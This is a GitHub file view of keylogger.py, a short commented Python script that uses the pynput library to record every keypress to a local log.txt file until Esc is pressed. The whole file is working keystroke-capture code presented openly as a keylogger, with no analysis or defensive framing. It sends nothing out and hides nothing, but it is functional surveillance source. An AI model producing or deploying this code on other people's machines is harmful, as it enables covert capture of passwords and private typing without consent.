-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
28 lines (22 loc) · 1.08 KB
/
Copy pathkeylogger.py
File metadata and controls
28 lines (22 loc) · 1.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pynput.keyboard import Key , Listener
output = 'log.txt'
with open(output,'a') as f:
f.close() #log file is created
def on_press(user_input): #The on_press function knows when a key is pressed , we are specifying what to do when a key is pressed
with open(output,'a') as f:
if user_input == Key.space:
char = ' '
else:
c = str(user_input)
char = c.replace('\'','') #This replace function is to remove '' from the character whose key is pressed , so that the log is more readable ,otherwise log will look like this --> 'H''i' 't''h''e''r''e'
f.write(char)
f.close()
def on_release(user_input):
if user_input==Key.esc:
with open(output,'a') as f:
f.write('\n')
f.close()
return False #stops the listener when a function returns false , for details see https://pypi.org/project/pynput/
with Listener(on_press=on_press , on_release=on_release) as listener:
listener.join()
#s.replace('a', 'b') replaces every 'a' with 'b'